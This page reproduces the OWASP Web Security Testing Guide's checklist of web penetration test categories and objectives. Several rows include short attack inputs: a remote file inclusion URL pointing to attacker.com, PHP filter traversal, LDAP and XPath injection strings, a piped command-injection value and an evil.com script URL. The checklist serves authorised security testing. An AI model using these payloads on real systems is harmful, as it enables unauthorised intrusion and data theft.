OWASP Web Security Testing Guide
Phase | Name of phase | Objectives |
1 | Pre–Engagement | Define the scope and objectives of the penetration test, including the target web application, URLs, and functionalities to be tested. Obtain proper authorization and permission from the application owner to conduct the test. Gather relevant information about the application, such as technologies used, user roles, and business-critical functionalities. |
2 | Information Gathering & Reconnaissance | Perform passive reconnaissance to gather publicly available information about the application and its infrastructure. Enumerate subdomains, directories, and files to discover hidden or sensitive content. Use tools like "Nmap" to identify open ports and services running on the web server. Utilize "Google Dorks" to find indexed information, files, and directories on the target website. |
3 | Threat Modeling | Analyze the application's architecture and data flow to identify potential threats and attack vectors. Build an attack surface model to understand how attackers can interact with the application. Identify potential high-risk areas and prioritize testing efforts accordingly. |
4 | Vulnerability Scanning | Use automated web vulnerability scanners like "Burp Suite" or "OWASP ZAP" to identify common security flaws. Verify and validate the scan results manually to eliminate false positives and false negatives. |
5 | Manual Testing & Exploitation | Perform manual testing to validate and exploit identified vulnerabilities in the application. Test for input validation issues, authentication bypass, authorization flaws, and business logic vulnerabilities. Attempt to exploit security flaws to demonstrate their impact and potential risk to the application. |
6 | Authentication & Authorization Testing | Test the application's authentication mechanisms to identify weaknesses in password policies, session management, and account lockout procedures. Evaluate the application's access controls to ensure that unauthorized users cannot access sensitive functionalities or data. |
7 | Session Management Testing | Evaluate the application's session management mechanisms to prevent session fixation, session hijacking, and session-related attacks. Check for session timeout settings and proper session token handling. |
8 | Information Disclosure | Review how the application handles sensitive information such as passwords, user data, and confidential files. Test for information disclosure through error messages, server responses, or improper access controls. |
9 | Business Logic Testing | Analyze the application's business logic to identify flaws that could lead to unauthorized access or data manipulation. Test for order-related vulnerabilities, privilege escalation, and other business logic flaws. |
10 | Client-Side Testing | Evaluate the client-side code (HTML, JavaScript) for potential security vulnerabilities, such as DOM-based XSS. Test for insecure client-side storage and sensitive data exposure. |
11 | Reporting & Remediation | Document and prioritize the identified security vulnerabilities and risks. Provide a detailed report to developers and stakeholders, including recommendations for remediation. Assist developers in fixing the identified security issues and retesting the application to ensure that the fixes were successful. |
12 | Post-Engagement | Conduct a post-engagement meeting to discuss the test results with stakeholders. Provide security awareness training to the development team to promote secure coding practices. |
Other methodologies: http://www.pentest-standard.org/index.php/PTES_Technical_Guidelines PTES is a complete penetration testing methodology that covers all aspects of security assessments, including web application testing. It provides a structured approach from pre-engagement through reporting and follow-up, making it suitable for comprehensive assessments
1. Information Gathering
1. Information Gathering
ID | Link to Hackinglife | Link to OWASP | Description |
---|---|---|---|
1.1 | WSTG-INFO-01 | Conduct Search Engine Discovery Reconnaissance for Information Leakage | - Identify what sensitive design and configuration information of the application, system, or organization is exposed directly (on the organization's website) or indirectly (via third-party services). |
1.2 | WSTG-INFO-02 | Fingerprint Web Server | - Determine the version and type of a running web server to enable further discovery of any known vulnerabilities. |
1.3 | WSTG-INFO-03 | Review Webserver Metafiles for Information Leakage | - Identify hidden or obfuscated paths and functionality through the analysis of metadata files (robots.txt, \ tag, sitemap.xml) - Extract and map other information that could lead to a better understanding of the systems at hand. |
1.4 | WSTG-INFO-04 | Enumerate Applications on Webserver | - Enumerate the applications within the scope that exist on a web server. - Find applications hosted in the webserver (Virtual hosts/Subdomain), non-standard ports, DNS zone transfers |
1.5 | WSTG-INFO-05 | Review Webpage Content for Information Leakage | - Review webpage comments, metadata, and redirect bodies to find any information leakage.- Gather JavaScript files and review the JS code to better understand the application and to find any information leakage. - Identify if source map files or other front-end debug files exist. |
1.6 | WSTG-INFO-06 | Identify Application Entry Points | - Identify possible entry and injection points through request and response analysis which covers hidden fields, parameters, methods HTTP header analysis |
1.7 | WSTG-INFO-07 | Map Execution Paths Through Application | - Map the target application and understand the principal workflows. - Use HTTP(s) Proxy Spider/Crawler feature aligned with application walkthrough |
1.8 | WSTG-INFO-08 | Fingerprint Web Application Framework | - Fingerprint the components being used by the web applications. - Find the type of web application framework/CMS from HTTP headers, Cookies, Source code, Specific files and folders, Error message. |
1.9 | WSTG-INFO-09 | Fingerprint Web Application | N/A, This content has been merged into: WSTG-INFO-08 |
1.10 | WSTG-INFO-10 | Map Application Architecture | - Understand the architecture of the application and the technologies in use. - Identify application architecture whether on Application and Network components: Applicaton: Web server, CMS, PaaS, Serverless, Microservices, Static storage, Third party services/APIs, Network and Security: Reverse proxy, IPS, WAF |
2. Configuration and Deploy Management Testing
2. Configuration and Deploy Management Testing
ID | Link to Hackinglife | Link to OWASP | Description |
---|---|---|---|
2.1 | WSTG-CONF-01 | Test Network Infrastructure Configuration | - Review the applications' configurations set across the network and validate that they are not vulnerable. - Validate that used frameworks and systems are secure and not susceptible to known vulnerabilities due to unmaintained software or default settings and credentials. |
2.2 | WSTG-CONF-02.md | Test Application Platform Configuration | - Ensure that defaults and known files have been removed. - Review configuration and server handling (40, 50) - Validate that no debugging code or extensions are left in the production environments. - Review the logging mechanisms set in place for the application including Log Location, Log Storage , Log Rotation, Log Access Control, Log Review |
2.3 | WSTG-CONF-03.md | Test File Extensions Handling for Sensitive Information | - Dirbust sensitive file extensions, or extensions that might contain raw data (e.g. scripts, raw data, credentials, etc.). - Find important file, information (.asa , .inc , .sql ,zip, tar, pdf, txt, etc) - Validate that no system framework bypasses exist on the rules set. |
2.4 | WSTG-CONF-04 | Review Old Backup and Unreferenced Files for Sensitive Information | - Find and analyse unreferenced files that might contain sensitive information. - Check JS source code, comments, cache file, backup file (.old, .bak, .inc, .src) and guessing of filename |
2.5 | WSTG-CONF-05 | Enumerate Infrastructure and Application Admin Interfaces | - Identify hidden administrator interfaces and functionality. - Directory and file enumeration, comments and links in source (/admin, /administrator, /backoffice, /backend, etc), alternative server port (Tomcat/8080) |
2.6 | WSTG-CONF-06 | Test HTTP Methods | - Enumerate supported HTTP methods using OPTIONS. - Test for access control bypass (GET->HEAD->FOO). - Test HTTP method overriding techniques. |
2.7 | WSTG-CONF-07 | Test HTTP Strict Transport Security | - Review the HSTS header and its validity. - Identify HSTS header on Web server through HTTP response header: curl -s -D- https://domain.com/ | |
2.8 | WSTG-CONF-08 | Test RIA Cross Domain Policy | Analyse the permissions allowed from the policy files (crossdomain.xml/clientaccesspolicy.xml) and allow-access-from. |
2.9 | WSTG-CONF-09 | Test File Permission | - Review and Identify any rogue file permissions. - Identify configuration file whose permissions are set to world-readable from the installation by default. |
2.10 | WSTG-CONF-10 | Test for Subdomain Takeover | - Enumerate all possible domains (previous and current). - Identify forgotten or misconfigured domains. |
2.11 | WSTG-CONF-11 | Test Cloud Storage | - Assess that the access control configuration for the storage services is properly in place. |
2.12 | WSTG-CONF-12 | Testing for Content Security Policy | - Review the Content-Security-Policy header or meta element to identify misconfigurations. |
2.13 | WSTG-CONF-13 | Test Path Confusion | - Make sure application paths are configured correctly. |
3. Identity Management Testing
3. Identity Management Testing
ID | Link to Hackinglife | Link to OWASP | Description |
---|---|---|---|
3.1 | WSTG-IDNT-01 | Test Role Definitions | - Identify and document roles used by the application. - Attempt to switch, change, or access another role. - Review the granularity of the roles and the needs behind the permissions given. |
3.2 | WSTG-IDNT-02 | Test User Registration Process | - Verify that the identity requirements for user registration are aligned with business and security requirements. - Validate the registration process. |
3.3 | WSTG-IDNT-03 | Test Account Provisioning Process | - Verify which accounts may provision other accounts and of what type. |
3.4 | WSTG-IDNT-04 | Testing for Account Enumeration and Guessable User Account | - Review processes that pertain to user identification (e.g. registration, login, etc.). - Enumerate users where possible through response analysis. |
3.5 | WSTG-IDNT-05 | Testing for Weak or Unenforced Username Policy | - Determine whether a consistent account name structure renders the application vulnerable to account enumeration. - User account names are often highly structured (e.g. Joe Bloggs account name is jbloggs and Fred Nurks account name is fnurks) and valid account names can easily be guessed. - Determine whether the application's error messages permit account enumeration. |
4. Authentication Testing
4. Authentication Testing
ID | Link to Hackinglife | Link to OWASP | Description |
---|---|---|---|
4.1 | WSTG-ATHN-01 | Testing for Credentials Transported over an Encrypted Channel | N/A, This content has been merged into: WSTG-CRYP-03 |
4.2 | WSTG-ATHN-02 | Testing for Default Credentials | - Determine whether the application has any User accounts with default passwords. |
4.3 | WSTG-ATHN-03 | Testing for Weak Lock Out Mechanism | - Evaluate the account lockout mechanism's ability to mitigate brute force password guessing. - Evaluate the unlock mechanism's resistance to unauthorized account unlocking. |
4.4 | WSTG-ATHN-04 | Testing for Bypassing Authentication Schema | - Ensure that authentication is applied across all services that require it. - Force browsing (/admin/main.php, /page.asp?authenticated=yes), Parameter Modification, Session ID prediction, SQL Injection |
4.5 | WSTG-ATHN-05 | Testing for Vulnerable Remember Password | - Validate that the generated session is managed securely and do not put the user's credentials in danger (e.g., cookie) - Verify that the credentials are not stored in clear text, but are hashed. Autocompleted=off? |
4.6 | WSTG-ATHN-06 | Testing for Browser Cache Weaknesses | - Review if the application stores sensitive information on the client-side. - Review if access can occur without authorization. - Check browser history issue by clicking "Back" button after logging out. - Check browser cache issue from HTTP response headers (Cache-Control: nocache) |
4.7 | WSTG-ATHN-07 | Testing for Weak Password Policy | - Determine the resistance of the application against brute Force password guessing using available password dictionaries by evaluating the length, complexity, reuse, and aging requirements of passwords. - Review whether new User accounts are created with weak or predictable passwords. |
4.8 | WSTG-ATHN-08 | Testing for Weak Security Question Answer | - Determine the complexity and how straight-forward the questions are (Weak pre-generated questions, Weak self-generated question) - Assess possible user answers and brute force capabilities. |
4.9 | WSTG-ATHN-09 | Testing for Weak Password Change or Reset Functionalities | - Determine whether the password change and reset functionality allows accounts to be compromised. - Test password reset (Display old password in plain-text?, Send via email?, Random token on confirmation email ?) - Test password change (Need old password?) |
4.10 | WSTG-ATHN-10 | Testing for Weaker Authentication in Alternative Channel | - Identify alternative authentication channels. - Assess the security measures used and if any bypasses exists on the alternative channels. |
4.11 | WSTG-ATHN-11 | Testing Multi-Factor Authentication (MFA) | - Identify the type of MFA used by the application. - Determine whether the MFA implementation is robust and secure. - Attempt to bypass the MFA. |
5. Authorization Testing
5. Authorization Testing
ID | Link to Hackinglife | Link to OWASP | Description |
---|---|---|---|
5.1 | WSTG-ATHZ-01 | Testing Directory Traversal File Include | - Identify injection points that pertain to path traversal. - Assess bypassing techniques and identify the extent of path traversal (dot-dot-slash attack, Local/Remote file inclusion) |
5.2 | WSTG-ATHZ-02 | Testing for Bypassing Authorization Schema | - Assess if horizontal or vertical access is possible. - Access to Administrative functions by force browsing (/admin/addUser) |
5.3 | WSTG-ATHZ-03 | Testing for Privilege Escalation | - Identify injection points related to role/privilege manipulation. For example: Change some param groupid=2 to groupid=1 - Verify that it is not possible for a user to modify their privileges or roles inside the application - Fuzz or otherwise attempt to bypass security measures. |
5.4 | WSTG-ATHZ-04 | Testing for Insecure Direct Object References | - Identify points where object references may occur. - Assess the access control measures and if they're vulnerable to IDOR. For example: Force changing parameter value (?invoice=123 -> ?invoice=456) |
5.5 | WSTG-ATHZ-05 | Testing for OAuth Weaknesses | - Determine if OAuth2 implementation is vulnerable or using a deprecated or custom implementation. |
6. Session Management Testing
6. Session Management Testing
ID | Link to Hackinglife | Link to OWASP | Description |
---|---|---|---|
6.1 | WSTG-SESS-01 | Testing for Session Management Schema | - Gather session tokens, for the same user and for different users where possible. - Analyze and ensure that enough randomness exists to stop session forging attacks. - Modify cookies that are not signed and contain information that can be manipulated. |
6.2 | WSTG-SESS-02 | Testing for Cookies Attributes | - Ensure that the proper security configuration is set for cookies (HTTPOnly and Secure flag, Samesite=Strict) |
6.3 | WSTG-SESS-03 | Testing for Session Fixation | - Analyze the authentication mechanism and its flow. - Force cookies and assess the impact. - Check whether the application renew the cookie after a successfully user authentication. |
6.4 | WSTG-SESS-04 | Testing for Exposed Session Variables | - Ensure that proper encryption is implemented (Encryption & Reuse of session Tokens vulnerabilities). - Review the caching configuration. - Assess the channel and methods' security (Send sessionID with GET method ?) |
6.5 | WSTG-SESS-05 | Testing for Cross Site Request Forgery | - Determine whether it is possible to initiate requests on a user's behalf that are not initiated by the user. - Conduct URL analysis, Direct access to functions without any token. |
6.6 | WSTG-SESS-06 | Testing for Logout Functionality | - Assess the logout UI. - Analyze the session timeout and if the session is properly killed after logout. |
6.7 | WSTG-SESS-07 | Testing Session Timeout | - Validate that a hard session timeout exists, after the timeout has passed, all session tokens should be destroyed or be unusable. |
6.8 | WSTG-SESS-08 | Testing for Session Puzzling | - Identify all session variables. - Break the logical flow of session generation. - Check whether the application uses the same session variable for more than one purpose |
6.9 | WSTG-SESS-09 | Testing for Session Hijacking | - Identify vulnerable session cookies. - Hijack vulnerable cookies and assess the risk level. |
6.10 | WSTG-SESS-10 | Testing JSON Web Tokens | - Determine whether the JWTs expose sensitive information. - Determine whether the JWTs can be tampered with or modified. |
7. Data Validation Testing
7. Data Validation Testing
ID | Link to Hackinglife | Link to OWASP | Description |
---|---|---|---|
7.1 | WSTG-INPV-01 | Testing for Reflected Cross Site Scripting | - Identify variables that are reflected in responses. - Assess the input they accept and the encoding that gets applied on return (if any). |
7.2 | WSTG-INPV-02 | Testing for Stored Cross Site Scripting | - Identify stored input that is reflected on the client-side. - Assess the input they accept and the encoding that gets applied on return (if any). |
7.3 | WSTG-INPV-03 | Testing for HTTP Verb Tampering | N/A, This content has been merged into: WSTG-CONF-06 |
7.4 | WSTG-INPV-04 | Testing for HTTP Parameter Pollution | - Identify the backend and the parsing method used. - Assess injection points and try bypassing input filters using HPP. |
7.5 | WSTG-INPV-05 | Testing for SQL Injection | - Identify SQL injection points. - Assess the severity of the injection and the level of access that can be achieved through it. |
7.6 | WSTG-INPV-06 | Testing for LDAP Injection | - Identify LDAP injection points: /ldapsearch?user= user=user=)(uid=))(|(uid=* pass=password - Assess the severity of the injection: |
7.7 | WSTG-INPV-07 | Testing for XML Injection | - Identify XML injection points with XML Meta Characters: ', " , <>, , &, <![CDATA[ / ]]>, XXE, TAG - Assess the types of exploits that can be attained and their severities. |
7.8 | WSTG-INPV-08 | Testing for SSI Injection | - Identify SSI injection points (Presense of .shtml extension) with these characters: < ! # = / . " - > and [a-zA-Z0-9] - Assess the severity of the injection. |
7.9 | WSTG-INPV-09 | Testing for XPath Injection | - Identify XPATH injection points by checking for XML error enumeration by supplying a single quote ('): Username: ‘ or ‘1’ = ‘1 Password: ‘ or ‘1’ = ‘1 |
7.10 | WSTG-INPV-10 | Testing for IMAP SMTP Injection | - Identify IMAP/SMTP injection points (Header, Body, Footer) with special characters (i.e.: \, ‘, “, @, #, !, |) - Understand the data flow and deployment structure of the system. - Assess the injection impacts. |
7.11 | WSTG-INPV-11 | Testing for Code Injection | - Identify injection points where you can inject code into the application. - Check LFI with dot-dot-slash (../../), PHP Wrapper (php://filter/convert.base64-encode/resource). - Check RFI from malicious URL ?page.php?file=http://attacker.com/malicious_page - Assess the injection severity. |
7.12 | WSTG-INPV-12 | Testing for Command Injection | - Identify and assess the command injection points with special characters (i.e.: | ; & $ > < ' !) For example: ?doc=Doc1.pdf+|+Dir c:| |
7.13 | WSTG-INPV-13 | Testing for Format String Injection | - Assess whether injecting format string conversion specifiers into user-controlled fields causes undesired behavior from the application. |
7.14 | WSTG-INPV-14 | Testing for Incubated Vulnerability | - Identify injections that are stored and require a recall step to the stored injection. (i.e.: CSV Injection, Blind Stored XSS, File Upload) - Understand how a recall step could occur. - Set listeners or activate the recall step if possible. |
7.15 | WSTG-INPV-15 | Testing for HTTP Splitting Smuggling | - Assess if the application is vulnerable to splitting, identifying what possible attacks are achievable. - Assess if the chain of communication is vulnerable to smuggling, identifying what possible attacks are achievable. |
7.16 | WSTG-INPV-16 | Testing for HTTP Incoming Requests | - Monitor all incoming and outgoing HTTP requests to the Web Server to inspect any suspicious requests. - Monitor HTTP traffic without changes of end user Browser proxy or client-side application. |
7.17 | WSTG-INPV-17 | Testing for Host Header Injection | - Assess if the Host header is being parsed dynamically in the application. - Bypass security controls that rely on the header. |
7.18 | WSTG-INPV-18 | Testing for Server-side Template Injection | - Detect template injection vulnerability points. - Identify the templating engine. - Build the exploit. |
7.19 | WSTG-INPV-19 | Testing for Server-Side Request Forgery | - Identify SSRF injection points. - Test if the injection points are exploitable. - Asses the severity of the vulnerability. |
7.20 | WSTG-INPV-20 | Testing for Mass Assignment | - Identify requests that modify objects - Assess if it is possible to modify fields never intended to be modified from outside |
8. Error Handling
8. Error Handling
ID | Link to Hackinglife | Link to OWASP | Description |
---|---|---|---|
8.1 | WSTG-ERRH-01 | Testing for Improper Error Handling | - Identify existing error output (i.e.: Random files/folders (40x) - Analyze the different output returned. |
8.2 | WSTG-ERRH-02 | Testing for Stack Traces | N/A, This content has been merged into: WSTG-ERRH-01 |
9. Cryptography
9. Cryptography
ID | Link to Hackinglife | Link to OWASP | Description |
---|---|---|---|
9.1 | WSTG-CRYP-01 | Testing for Weak Transport Layer Security | - Validate the server configuration (Identify weak ciphers/protocols (ie. RC4, BEAST, CRIME, POODLE) - Review the digital certificate's cryptographic strength and validity. - Ensure that the TLS security is not bypassable and is properly implemented across the application. |
9.2 | WSTG-CRYP-02 | Testing for Padding Oracle | - Identify encrypted messages that rely on padding. - Attempt to break the padding of the encrypted messages and analyze the returned error messages for further analysis. |
9.3 | WSTG-CRYP-03 | Testing for Sensitive Information Sent via Unencrypted Channels | - Identify sensitive information transmitted through the various channels. - Assess the privacy and security of the channels used. - Check sensitive data during the transmission: • Information used in authentication (e.g. Credentials, PINs, Session, identifiers, Tokens, Cookies…), • Information protected by laws, regulations or specific organizational, policy (e.g. Credit Cards, Customers data) |
9.4 | WSTG-CRYP-04 | Testing for Weak Encryption | - Provide a guideline for the identification weak encryption or hashing uses and implementations. |
10. Business logic Testing
10. Business logic Testing
ID | Link to Hackinglife | Link to OWASP | Description |
---|---|---|---|
10.1 | WSTG-BUSL-01 | Test Business Logic Data Validation | - Identify data injection points. - Validate that all checks are occurring on the back end and can't be bypassed. - Attempt to break the format of the expected data and analyze how the application is handling it. |
10.2 | WSTG-BUSL-02 | Test Ability to Forge Requests | - Review the project documentation looking for guessable, predictable, or hidden functionality of fields. - Insert logically valid data in order to bypass normal business logic workflow. |
10.3 | WSTG-BUSL-03 | Test Integrity Checks | - Review the project documentation for components of the system that move, store, or handle data. - Determine what type of data is logically acceptable by the component and what types the system should guard against. - Determine who should be allowed to modify or read that data in each component. - Attempt to insert, update, or delete data values used by each component that should not be allowed per the business logic workflow. |
10.4 | WSTG-BUSL-04 | Test for Process Timing | - Review the project documentation for system functionality that may be impacted by time. Such as execution time or actions that help users predict a future outcome or allow one to circumvent any part of the business logic or workflow. For example, not completing transactions in an expected time. - Develop and execute the mis-use cases ensuring that attackers can not gain an advantage based on any timing (Race Condition). |
10.5 | WSTG-BUSL-05 | Test Number of Times a Function Can Be Used Limits | - Identify functions that must set limits to the times they can be called. - Assess if there is a logical limit set on the functions and if it is properly validated. - For each of the functions and features found that should only be executed a single time or specified number of times during the business logic workflow, develop abuse/misuse cases that may allow a user to execute more than the allowable number of times. |
10.6 | WSTG-BUSL-06 | Testing for the Circumvention of Work Flows | - Review the project documentation for methods to skip or go through steps in the application process in a different order from the intended business logic flow. - Develop a misuse case and try to circumvent every logic flow identified. |
10.7 | WSTG-BUSL-07 | Test Defenses Against Application Misuse | - Generate notes from all tests conducted against the system. - Review which tests had a different functionality based on aggressive input. - Understand the defenses in place and verify if they are enough to protect the system against bypassing techniques. - Measures that might indicate the application has in-built self-defense: • Changed responses • Blocked requests • Actions that log a user out or lock their account |
10.8 | WSTG-BUSL-08 | Test Upload of Unexpected File Types | - Review the project documentation for file types that are rejected by the system. - Verify that the unwelcomed file types are rejected and handled safely. Also, check whether the website only check for "Content-type" or file extension. - Verify that file batch uploads are secure and do not allow any bypass against the set security measures. |
10.9 | WSTG-BUSL-09 | Test Upload of Malicious Files | - Identify the file upload functionality. - Review the project documentation to identify what file types are considered acceptable, and what types would be considered dangerous or malicious. - If documentation is not available then consider what would be appropriate based on the purpose of the application. - Determine how the uploaded files are processed. - Obtain or create a set of malicious files for testing. - Try to upload the malicious files to the application and determine whether it is accepted and processed. |
10.10 | WSTG-BUSL-10 | Test Payment Functionality | - Determine whether the business logic for the e-commerce functionality is robust. - Understand how the payment functionality works. - Determine whether the payment functionality is secure. |
11. Client Side Testing
11. Client Side Testing
ID | Link to Hackinglife | Link to OWASP | Description |
---|---|---|---|
11.1 | WSTG-CLNT-01 | Testing for DOM-Based Cross Site Scripting | - Identify DOM sinks. - Build payloads that pertain to every sink type. |
11.2 | WSTG-CLNT-02 | Testing for JavaScript Execution | - Identify sinks and possible JavaScript injection points. |
11.3 | WSTG-CLNT-03 | Testing for HTML Injection | - Identify HTML injection points and assess the severity of the injected content. For example: page.html?user= |
11.4 | WSTG-CLNT-04 | Testing for Client-side URL Redirect | - Identify injection points that handle URLs or paths. - Assess the locations that the system could redirect to (Open Redirect). For example: ?redirect=www.fake-target.site |
11.5 | WSTG-CLNT-05 | Testing for CSS Injection | - Identify CSS injection points. - Assess the impact of the injection. |
11.6 | WSTG-CLNT-06 | Testing for Client-side Resource Manipulation | - Identify sinks with weak input validation. - Assess the impact of the resource manipulation. For example: www.victim.com/#http://evil.com/js.js |
11.7 | WSTG-CLNT-07 | Testing Cross Origin Resource Sharing | - Identify endpoints that implement CORS. - Ensure that the CORS configuration is secure or harmless. |
11.8 | WSTG-CLNT-08 | Testing for Cross Site Flashing | - Decompile and analyze the application's code. - Assess sinks inputs and unsafe method usages. For example: file.swf?lang=http://evil |
11.9 | WSTG-CLNT-09 | Testing for Clickjacking | - Understand security measures in place. - Discover if a website is vulnerable by loading into an iframe, create simple web page that includes a frame containing the target. - Assess how strict the security measures are and if they are bypassable. |
11.10 | WSTG-CLNT-10 | Testing WebSockets | - Identify the usage of WebSockets by inspecting ws:// or wss:// URI scheme. - Assess its implementation by using the same tests on normal HTTP channels. |
11.11 | WSTG-CLNT-11 | Testing Web Messaging | - Assess the security of the message's origin. - Validate that it's using safe methods and validating its input. |
11.12 | WSTG-CLNT-12 | Testing Browser Storage | - Determine whether the website is storing sensitive data in client-side storage. - The code handling of the storage objects should be examined for possibilities of injection attacks, such as utilizing unvalidated input or vulnerable libraries. |
11.13 | WSTG-CLNT-13 | Testing for Cross Site Script Inclusion | - Locate sensitive data across the system. - Assess the leakage of sensitive data through various techniques. |
11.14 | WSTG-CLNT-14 | Testing for Reverse Tabnabbing | N/A |
12. API Testing
12. API Testing
ID | Link to Hackinglife | Link to OWASP | Description |
---|---|---|---|
12.1 | WSTG-APIT-01 | Testing GraphQL | - Assess that a secure and production-ready configuration is deployed. - Validate all input fields against generic attacks. - Ensure that proper access controls are applied. |